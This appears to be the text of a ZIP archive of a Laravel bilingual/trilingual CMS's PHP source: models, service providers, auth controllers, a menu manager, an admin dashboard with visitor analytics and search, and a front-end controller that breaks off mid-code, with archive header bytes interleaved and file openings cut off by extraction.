PKVZV Topic.phpnu[belongsTo('App\WebmasterSection', 'webmaster_id'); } //Relation to Sections public function section() { return $this->belongsTo('App\Section', 'section_id'); } //Relation to TopicCategory public function categories() { return $this->hasMany('App\TopicCategory'); } //Relation to Users public function user() { return $this->belongsTo('App\User', 'created_by'); } //Relation to Photos public function photos() { return $this->hasMany('App\Photo', 'topic_id')->orderby('row_no', 'asc'); } //Relation to Attach Files public function attachFiles() { return $this->hasMany('App\AttachFile', 'topic_id')->orderby('row_no', 'asc'); } //Relation to Related Topics public function relatedTopics() { return $this->hasMany('App\RelatedTopic', 'topic_id')->orderby('row_no', 'asc'); } //Relation to Maps public function maps() { return $this->hasMany('App\Map', 'topic_id')->orderby('row_no', 'asc'); } //Relation to Comments public function comments() { return $this->hasMany('App\Comment', 'topic_id')->orderby('row_no', 'asc'); } //Relation to New Comments public function newComments() { return $this->hasMany('App\Comment', 'topic_id')->where('status', '=', 0)->orderby('row_no', 'asc'); } //Relation to approved Comments public function approvedComments() { return $this->hasMany('App\Comment', 'topic_id')->where('status', '=', 1)->orderby('row_no', 'asc'); } //Relation to Additional Fields public function fields() { return $this->hasMany('App\TopicField', 'topic_id')->orderby('id', 'asc'); } } PKVZh Webmail.phpnu[belongsTo('App\WebmailsGroup', 'group_id')->orderby('id', 'asc'); } //Relation to files public function files() { return $this->hasMany('App\WebmailsFile', 'webmail_id')->orderby('id', 'asc'); } } PKVZ>t Photo.phpnu[belongsTo('App\Topic', 'topic_id'); } } PKVZs ppWebmasterSetting.phpnu[belongsTo('App\AnalyticsVisitor', 'visitor_id')->orderby('id', 'desc'); } } PKVZ"||&Providers/BroadcastServiceProvider.phpnu[ [ 'App\Listeners\EventListener', ], ]; /** * Register any events for your application. * * @return void */ public function boot() { parent::boot(); // } } PKVZProviders/index.phpnu[PKVZJ B BProviders/55825/index.phpnu[mapApiRoutes(); $this->mapWebRoutes(); // } /** * Define the "web" routes for the application. * * These routes all receive session state, CSRF protection, etc. * * @return void */ protected function mapWebRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web.php')); } /** * Define the "api" routes for the application. * * These routes are typically stateless. * * @return void */ protected function mapApiRoutes() { Route::prefix('api') ->middleware('api') ->namespace($this->namespace) ->group(base_path('routes/api.php')); } } PKVZܟ ( Providers/AppServiceProvider.phpnu[ 'App\Policies\ModelPolicy', ]; /** * Register any authentication / authorization services. * * @return void */ public function boot() { $this->registerPolicies(); // } } PKVZeMap.phpnu[belongsTo('App\Topic', 'topic_id'); } } PKVZqhQQUser.phpnu[belongsTo('App\Permissions', 'permissions_id'); } use Notifiable; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'name', 'email', 'password', 'photo', 'permissions_id', 'status', 'permissions', 'connect_email', 'connect_password', 'get_notifications', ]; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; } PKVZ RelatedTopic.phpnu[belongsTo('App\Topic', 'topic2_id'); } } PKVZq&  +Http/Middleware/RedirectIfAuthenticated.phpnu[check()) { return redirect('/home'); } return $next($request); } } PKVZb_t#Http/Middleware/VerifyCsrfToken.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0 && Auth::user()->permissions != 1) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index($ParentMenuId = 0) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if ($ParentMenuId > 0) { $EditedMenu = Menu::find($ParentMenuId); $Menus = Menu::where('father_id', $ParentMenuId)->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } else { $MenusCount = Menu::where('father_id', '0')->count(); if ($MenusCount > 0) { $Menusfirst = Menu::orderby('row_no', 'asc')->first(); $Menus = Menu::where('father_id', $Menusfirst->id)->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); $EditedMenu = Menu::find($Menusfirst->id); } else { $Menus = Menu::where('father_id', '0')->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); $EditedMenu = ""; } } //Parent Menus $ParentMenus = Menu::where('father_id', '0')->orderby('row_no', 'asc')->get(); return view("backEnd.menus", compact("Menus", "GeneralWebmasterSections", "ParentMenus", "EditedMenu")); } /** * Show the form for creating a new resource. * @param int $ParentMenuId * @return \Illuminate\Http\Response */ public function create($ParentMenuId = 0) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Father Menus $FatherMenus = Menu::where('father_id', $ParentMenuId)->where('type', 0)->orderby('row_no', 'asc')->get(); return view("backEnd.menus.create", compact("GeneralWebmasterSections", "EditedMenu", "ParentMenuId", "FatherMenus")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $ParentMenuId * @return \Illuminate\Http\Response */ public function store(Request $request, $ParentMenuId = 0) { // $next_nor_no = Menu::where('father_id', $ParentMenuId)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Menu = new Menu; $Menu->row_no = $next_nor_no; $father = $ParentMenuId; if ($request->father_id > 0) { $father = $request->father_id; } $Menu->father_id = $father; $Menu->title_ar = $request->title_ar; $Menu->title_he = $request->title_he; $Menu->title_en = $request->title_en; $Menu->type = $request->type; $Menu->link = $request->link; $Menu->cat_id = $request->cat_id; $Menu->status = 1; $Menu->created_by = Auth::user()->id; $Menu->save(); return redirect()->action('MenusController@index', $request->ParentMenuId)->with('ParentMenuId', $ParentMenuId)->with('doneMessage2', trans('backLang.addDone')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function storeMenu(Request $request) { // $next_nor_no = Menu::where('father_id', "0")->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Menu = new Menu; $Menu->row_no = $next_nor_no; $Menu->father_id = 0; $Menu->title_ar = $request->title_ar; $Menu->title_he = $request->title_he; $Menu->title_en = $request->title_en; $Menu->created_by = Auth::user()->id; $Menu->status = 1; $Menu->save(); return redirect()->action('MenusController@index'); } /** * Show the form for editing the specified resource. * * @param int $id * @param int $ParentMenuId * @return \Illuminate\Http\Response */ public function edit($id, $ParentMenuId) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Father Menus $FatherMenus = Menu::where('father_id', $ParentMenuId)->where('type', 0)->where('id', "!=", $id)->orderby('row_no', 'asc')->get(); $Menus = Menu::find($id); if (!empty($Menus) ) { return view("backEnd.menus.edit", compact("Menus", "GeneralWebmasterSections", "ParentMenuId", "FatherMenus")); } else { return redirect()->action('MenusController@index'); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function editMenu($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $Menus = Menu::find($id); if (!empty($Menus) ) { return redirect()->action('MenusController@index', $id)->with('EditMenu', "Yes"); } else { return redirect()->action('MenusController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $Menu = Menu::find($id); if (!empty($Menu) ) { $Menu->father_id = $request->father_id; $Menu->title_ar = $request->title_ar; $Menu->title_he = $request->title_he; $Menu->title_en = $request->title_en; $Menu->type = $request->type; $Menu->link = $request->link; $Menu->cat_id = $request->cat_id; $Menu->status = $request->status; $Menu->updated_by = Auth::user()->id; $Menu->save(); return redirect()->action('MenusController@index', ["id" => $id, "ParentMenuId" => $request->ParentMenuId])->with('doneMessage2', trans('backLang.saveDone')); } else { return redirect()->action('MenusController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateMenu(Request $request, $id) { // $Menu = Menu::find($id); if (!empty($Menu)) { $Menu->title_ar = $request->title_ar; $Menu->title_he = $request->title_he; $Menu->title_en = $request->title_en; $Menu->updated_by = Auth::user()->id; $Menu->save(); return redirect()->action('MenusController@index', ["id" => $id, "ParentMenuId" => $request->ParentMenuId])->with('doneMessage2', trans('backLang.saveDone')); } else { return redirect()->action('MenusController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // $Menu = Menu::find($id); if (!empty($Menu) ) { $Menu->delete(); return redirect()->action('MenusController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('MenusController@index'); } } public function destroyMenu($id) { // $Menu = Menu::find($id); if (!empty($Menu) ) { $subMenus = Menu::where('father_id', $Menu->id)->get(); foreach ($subMenus as $subMenu) { Menu::where('father_id', $subMenu->id)->delete(); } Menu::where('father_id', $Menu->id)->delete(); $Menu->delete(); return redirect()->action('MenusController@index')->with('doneMessage2', trans('backLang.deleteDone')); } else { return redirect()->action('MenusController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Menu = Menu::find($rowId); if (!empty($Menu) ) { $row_no_val = "row_no_" . $rowId; $Menu->row_no = $request->$row_no_val; $Menu->save(); } } } elseif ($request->action == "activate") { Menu::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Menu::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { Menu::wherein('father_id', $request->ids)->delete(); Menu::wherein('id', $request->ids) ->delete(); } return redirect()->action('MenusController@index', $request->ParentMenuId)->with('doneMessage2', trans('backLang.saveDone')); } }PKVZB$99#Http/Controllers/HomeController.phpnu[middleware('auth'); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { //List of all Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc') ->where('cat_id', '=', 0)->limit(4)->get(); //List of Events $Events = Event::where('created_by', '=', Auth::user()->id)->where('start_date', '>=', date('Y-m-d 00:00:00'))->orderby('start_date', 'asc')->limit(5)->get(); //List of all contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc')->limit(5)->get(); } else { //List of all Webmails $Webmails = Webmail::orderby('id', 'desc') ->where('cat_id', '=', 0)->limit(4)->get(); //List of Events $Events = Event::where('start_date', '>=', date('Y-m-d 00:00:00'))->orderby('start_date', 'asc')->limit(5)->get(); //List of all contacts $Contacts = Contact::orderby('id', 'desc')->limit(5)->get(); } // Analytics $TodayVisitors = AnalyticsVisitor::where('date', date('Y-m-d'))->count(); $TodayPages = AnalyticsPage::where('date', date('Y-m-d'))->count(); // Last 7 Days $daterangepicker_start = date('Y-m-d', strtotime('-6 day')); $daterangepicker_end = date('Y-m-d'); $stat = "date"; $Last7DaysVisitors = array(); $AnalyticsVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->groupBy($stat) ->orderBy($stat, 'asc') ->get(); $ix = 0; foreach ($AnalyticsVisitors as $AnalyticsV) { $TotalV = AnalyticsVisitor::where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end)->count(); $AllVArray = AnalyticsVisitor::select('id')->where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->get() ->toArray(); $TotalP = AnalyticsPage::whereIn("visitor_id", $AllVArray)->count(); $newdata = array( 'name' => $AnalyticsV->$stat, 'visits' => $TotalV, 'pages' => $TotalP ); array_push($Last7DaysVisitors, $newdata); $ix++; } // Today By Country $date_today = date('Y-m-d'); $stat = "country"; $TodayByCountry = array(); $AnalyticsVisitors = AnalyticsVisitor::where('date', $date_today) ->groupBy($stat) ->orderBy($stat, 'asc') ->get(); $ix = 0; foreach ($AnalyticsVisitors as $AnalyticsV) { $TotalV = AnalyticsVisitor::where("$stat", $AnalyticsV->$stat) ->where('date', $date_today)->count(); $AllVArray = AnalyticsVisitor::select('id')->where("$stat", $AnalyticsV->$stat) ->where('date', $date_today) ->get() ->toArray(); $TotalP = AnalyticsPage::whereIn("visitor_id", $AllVArray)->count(); $newdata = array( 'name' => $AnalyticsV->$stat, 'code' => substr($AnalyticsV->country_code, 0, 2), 'visits' => $TotalV, 'pages' => $TotalP ); array_push($TodayByCountry, $newdata); $ix++; } usort($TodayByCountry, function ($a, $b) { return $b['visits'] - $a['visits']; }); // Today By Browser $date_today = date('Y-m-d'); $stat = "browser"; $TodayByBrowsers = array(); $AnalyticsVisitors = AnalyticsVisitor::where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end) ->groupBy($stat) ->orderBy($stat, 'asc') ->get(); $ix = 0; foreach ($AnalyticsVisitors as $AnalyticsV) { $TotalV = AnalyticsVisitor::where("$stat", $AnalyticsV->$stat) ->where('date', '>=', $daterangepicker_start) ->where('date', '<=', $daterangepicker_end)->count(); $newdata = array( 'name' => $AnalyticsV->$stat, 'visits' => $TotalV ); array_push($TodayByBrowsers, $newdata); $ix++; } usort($TodayByBrowsers, function ($a, $b) { return $b['visits'] - $a['visits']; }); $TodayByBrowser1 = ""; $TodayByBrowser1_val = 0; $TodayByBrowser2 = "Other Browsers"; $TodayByBrowser2_val = 0; $ix = 0; $emptyB = 0; foreach ($TodayByBrowsers as $TodayByBrowser) { $emptyBi = 0; if ($emptyB == 0) { $emptyBi = $ix; } if ($ix == $emptyBi) { $ix2 = 0; foreach ($TodayByBrowser as $key => $val) { if ($ix2 == 0) { $TodayByBrowser1 = $val; if ($TodayByBrowser1 != "") { $emptyB = 1; } } if ($ix2 == 1) { $TodayByBrowser1_val = $val; } $ix2++; } } else { $ixx2 = 0; foreach ($TodayByBrowser as $key => $val) { if ($ixx2 == 1) { $TodayByBrowser2_val += $val; } $ixx2++; } } $ix++; } // Visitor Rate today $day_date = date('Y-m-d'); $TodayVisitorsRate = ""; $fsla = ""; for ($ii = 0; $ii < 24; $ii = $ii + 2) { if ($ii != 0) { $fsla = ", "; } $stepis = $ii + 2; $timeis1 = "$ii:00:00
"; $timeis2 = "$stepis:00:00"; $TotalV = AnalyticsVisitor::where('date', $day_date) ->where('time', '>=', $timeis1) ->where('time', '<', $timeis2) ->count(); if($TotalV==0){ $TotalV = 1; } $TodayVisitorsRate = $TodayVisitorsRate . $fsla . "[$ii,$TotalV]"; } return view('backEnd.home', compact("GeneralWebmasterSections", "Webmails", "Events", "Contacts", "TodayVisitors", "TodayPages", "Last7DaysVisitors", "TodayByCountry", "TodayByBrowser1", "TodayByBrowser1_val", "TodayByBrowser2", "TodayByBrowser2_val", "TodayVisitorsRate")); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function search() { // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $search_word = ""; $active_tab = 0; return view('backEnd.search', compact("GeneralWebmasterSections", "search_word", "active_tab")); } /** * Search resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function find(Request $request) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $active_tab = 0; if ($request->q != "") { if (@Auth::user()->permissionsGroup->view_status) { //find Contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->where('first_name', 'like', '%' . $request->q . '%') ->orwhere('last_name', 'like', '%' . $request->q . '%') ->orwhere('company', 'like', '%' . $request->q . '%') ->orwhere('city', 'like', '%' . $request->q . '%') ->orwhere('notes', 'like', '%' . $request->q . '%') ->orwhere('phone', '=', $request->q) ->orwhere('email', '=', $request->q) ->orderby('id', 'desc')->get(); //find Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('title', 'like', '%' . $request->q . '%') ->orwhere('from_name', 'like', '%' . $request->q . '%') ->orwhere('from_email', 'like', '%' . $request->q . '%') ->orwhere('from_phone', 'like', '%' . $request->q . '%') ->orwhere('to_email', 'like', '%' . $request->q . '%') ->orwhere('to_name', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); //find Events $Events = Event::where('created_by', '=', Auth::user()->id)->where('title', 'like', '%' . $request->q . '%') ->orwhere('details', 'like', '%' . $request->q . '%') ->orderby('start_date', 'desc')->get(); //find Topics $Topics = Topic::where('created_by', '=', Auth::user()->id)->where('title_ar', 'like', '%' . $request->q . '%') ->orwhere('title_he', 'like', '%' . $request->q . '%') ->orwhere('title_en', 'like', '%' . $request->q . '%') ->orwhere('seo_title_ar', 'like', '%' . $request->q . '%') ->orwhere('seo_title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_en', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); //find Sections $Sections = Section::where('created_by', '=', Auth::user()->id)->where('title_ar', 'like', '%' . $request->q . '%') ->orwhere('title_en', 'like', '%' . $request->q . '%') ->orwhere('title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_ar', 'like', '%' . $request->q . '%') ->orwhere('seo_title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_en', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); } else { //find Contacts $Contacts = Contact::where('first_name', 'like', '%' . $request->q . '%') ->orwhere('last_name', 'like', '%' . $request->q . '%') ->orwhere('company', 'like', '%' . $request->q . '%') ->orwhere('city', 'like', '%' . $request->q . '%') ->orwhere('notes', 'like', '%' . $request->q . '%') ->orwhere('phone', '=', $request->q) ->orwhere('email', '=', $request->q) ->orderby('id', 'desc')->get(); //find Webmails $Webmails = Webmail::where('title', 'like', '%' . $request->q . '%') ->orwhere('from_name', 'like', '%' . $request->q . '%') ->orwhere('from_email', 'like', '%' . $request->q . '%') ->orwhere('from_phone', 'like', '%' . $request->q . '%') ->orwhere('to_email', 'like', '%' . $request->q . '%') ->orwhere('to_name', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); //find Events $Events = Event::where('title', 'like', '%' . $request->q . '%') ->orwhere('details', 'like', '%' . $request->q . '%') ->orderby('start_date', 'desc')->get(); //find Topics $Topics = Topic::where('title_ar', 'like', '%' . $request->q . '%') ->orwhere('title_en', 'like', '%' . $request->q . '%') ->orwhere('title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_ar', 'like', '%' . $request->q . '%') ->orwhere('seo_title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_en', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); //find Sections $Sections = Section::where('title_ar', 'like', '%' . $request->q . '%') ->orwhere('title_en', 'like', '%' . $request->q . '%') ->orwhere('title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_ar', 'like', '%' . $request->q . '%') ->orwhere('seo_title_he', 'like', '%' . $request->q . '%') ->orwhere('seo_title_en', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->get(); } if (count($Webmails) > 0) { $active_tab = 5; } if (count($Events) > 0) { $active_tab = 4; } if (count($Contacts) > 0) { $active_tab = 3; } if (count($Sections) > 0) { $active_tab = 2; } if (count($Topics) > 0) { $active_tab = 1; } } else { return redirect()->action('HomeController@search'); } $search_word = $request->q; return view("backEnd.search", compact("GeneralWebmasterSections", "search_word", "Webmails", "Contacts", "Events", "Topics", "Sections", "active_tab")); } } PKVZ8%%'Http/Controllers/LanguageController.phpnu[back(); } public function change($lang) { \Session::put('locale', $lang); return redirect()->route("Home"); } } PKVZק~ff)Http/Controllers/Auth/LoginController.phpnu[middleware('guest')->except('logout'); } protected function credentials(Request $request) { return array_merge($request->only($this->username(), 'password'), ['status' => 1]); } } PKVZ=y1Http/Controllers/Auth/ResetPasswordController.phpnu[middleware('guest'); } } PKVZO,Http/Controllers/Auth/RegisterController.phpnu[middleware('guest'); } /** * Get a validator for an incoming registration request. * * @param array $data * @return \Illuminate\Contracts\Validation\Validator */ protected function validator(array $data) { return Validator::make($data, [ 'name' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', 'password' => 'required|string|min:6|confirmed', ]); } /** * Create a new user instance after a valid registration. * * @param array $data * @return \App\User */ protected function create(array $data) { return User::create([ 'name' => $data['name'], 'email' => $data['email'], 'status' => true, 'permissions_id' => Helper::GeneralWebmasterSettings("permission_group"), // Permission Group ID 'password' => bcrypt($data['password']), ]); } } PKVZ [T BB2Http/Controllers/Auth/ForgotPasswordController.phpnu[middleware('guest'); } } PKVZd!Http/Controllers/Auth/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZXMM+Http/Controllers/FrontendHomeController.phpnu[site_status; $site_msg = $WebsiteSettings->close_msg; if ($site_status == 0) { // close the website if ($lang == "ar") { $site_title = $WebsiteSettings->site_title_ar; $site_desc = $WebsiteSettings->site_desc_ar; $site_keywords = $WebsiteSettings->site_keywords_ar; } elseif ($lang == "he"){ $site_title = $WebsiteSettings->site_title_he; $site_desc = $WebsiteSettings->site_desc_he; $site_keywords = $WebsiteSettings->site_keywords_he; } else { $site_title = $WebsiteSettings->site_title_en; $site_desc = $WebsiteSettings->site_desc_en; $site_keywords = $WebsiteSettings->site_keywords_en; } echo " $site_title

$site_msg

"; exit(); } } /** * Show the form for editing the specified resource. * * @param int /string $seo_url_slug * @return \Illuminate\Http\Response */ public function SEO($seo_url_slug = 0) { return $this->SEOByLang("", $seo_url_slug); } /** * Show the form for editing the specified resource. * * @param int /string $seo_url_slug * @return \Illuminate\Http\Response */ public function SEOByLang($lang = "", $seo_url_slug = 0) { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } $seo_url_slug = str_slug($seo_url_slug, '-'); switch ($seo_url_slug) { case "home" : return $this->HomePage(); break; case "about" : $id = 1; $section = 1; return $this->topic($section, $id); break; case "privacy" : $id = 3; $section = 1; return $this->topic($section, $id); break; case "terms" : $id = 4; $section = 1; return $this->topic($section, $id); break; } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $URL_Title = "seo_url_slug_" . trans('backLang.boxCode'); $WebmasterSection1 = WebmasterSection::where("seo_url_slug_he", $seo_url_slug)->orwhere("seo_url_slug_ar", $seo_url_slug)->orwhere("seo_url_slug_en", $seo_url_slug)->first(); if (!empty($WebmasterSection1)) { // MAIN SITE SECTION $section = $WebmasterSection1->id; return $this->topics($section, 0); } else { $WebmasterSection2 = WebmasterSection::where('name', $seo_url_slug)->first(); if (!empty($WebmasterSection2) ) { // MAIN SITE SECTION $section = $WebmasterSection2->id; return $this->topics($section, 0); } else { $Section = Section::where('status', 1)->where("seo_url_slug_he", $seo_url_slug)->orwhere("seo_url_slug_ar", $seo_url_slug)->orwhere("seo_url_slug_en", $seo_url_slug)->first(); if (!empty($Section) ) { // SITE Category $section = $Section->webmaster_id; $cat = $Section->id; return $this->topics($section, $cat); } else { $Topic = Topic::where('status', 1)->where("seo_url_slug_he", $seo_url_slug)->orwhere("seo_url_slug_ar", $seo_url_slug)->orwhere("seo_url_slug_en", $seo_url_slug)->first(); if (!empty($Topic)) { // SITE Topic $section_id = $Topic->webmaster_id; $WebmasterSection = WebmasterSection::find($section_id); $section = $WebmasterSection->name; $id = $Topic->id; return $this->topic($section, $id); } else { // Not found return redirect()->route("HomePage"); } } } } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function HomePage() { return $this->HomePageByLang(""); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function HomePageByLang($lang = "") { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father) ) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } // Home topics $HomeTopics = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->home_content1_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->home_content1_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Home photos $HomePhotos = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->home_content2_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->home_content2_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(6)->get(); // Home Partners $HomePartners = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->home_content3_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->home_content3_section_id], ['expire_date', null]])->orderby('row_no', 'desc')->limit(2)->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Get Home page slider banners $SliderBanners = Banner::where('section_id', $WebmasterSettings->home_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Home page Test banners $TextBanners = Banner::where('section_id', $WebmasterSettings->home_text_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); $PageTitle = ""; // will show default site Title $PageDescription = $WebsiteSettings->$site_desc_var; $PageKeywords = $WebsiteSettings->$site_keywords_var; return view("frontEnd.home", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "SliderBanners", "TextBanners", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "PageTitle", "PageDescription", "PageKeywords", "PageTitle", "PageDescription", "PageKeywords", "HomeTopics", "HomePhotos", "HomePartners", "LatestNews")); } /** * Show the form for editing the specified resource. * * @param int $section * @param int $id * @return \Illuminate\Http\Response */ public function topic($section = 0, $id = 0) { $lang_dirs = array_filter(glob(App::langPath() . '/*'), 'is_dir'); // check if this like "/ar/blog" if (in_array(App::langPath() . "/$section", $lang_dirs)) { return $this->topicsByLang($section, $id, 0); } else { return $this->topicByLang("", $section, $id); } } /** * Show the form for editing the specified resource. * * @param int $section * @param int $cat * @return \Illuminate\Http\Response */ public function topicsByLang($lang = "", $section = 0, $cat = 0) { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); // get Webmaster section settings by name $WebmasterSection = WebmasterSection::where('name', $section)->first(); if (empty($WebmasterSection)) { // get Webmaster section settings by ID $WebmasterSection = WebmasterSection::find($section); } if (!empty($WebmasterSection) ) { // count topics by Category $category_and_topics_count = array(); $AllSections = Section::where('webmaster_id', '=', $WebmasterSection->id)->where('status', 1)->orderby('row_no', 'asc')->get(); if (!empty($AllSections) ) { foreach ($AllSections as $AllSection) { $category_topics = array(); $TopicCategories = TopicCategory::where('section_id', $AllSection->id)->get(); foreach ($TopicCategories as $category) { $category_topics[] = $category->topic_id; } $Topics = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('row_no', 'asc')->get(); $category_and_topics_count[$AllSection->id] = count($Topics); } } // Get current Category Section details $CurrentCategory = Section::find($cat); // Get a list of all Category ( for side bar ) $Categories = Section::where('webmaster_id', '=', $WebmasterSection->id)->where('father_id', '=', '0')->where('status', 1)->orderby('row_no', 'asc')->get(); // dd($section,$cat, $CurrentCategory, $Categories ); if (!empty($CurrentCategory) ) { $category_topics = array(); $TopicCategories = TopicCategory::where('section_id', $cat)->get(); foreach ($TopicCategories as $category) { $category_topics[] = $category->topic_id; } // update visits $CurrentCategory->visits = $CurrentCategory->visits + 1; $CurrentCategory->save(); // Topics by Cat_ID $Topics = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('row_no', 'desc')->paginate(env('FRONTEND_PAGINATION')); // Get Most Viewed Topics fot this Category $TopicsMostViewed = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('visits', 'desc')->limit(3)->get(); } else { // Topics if NO Cat_ID $Topics = 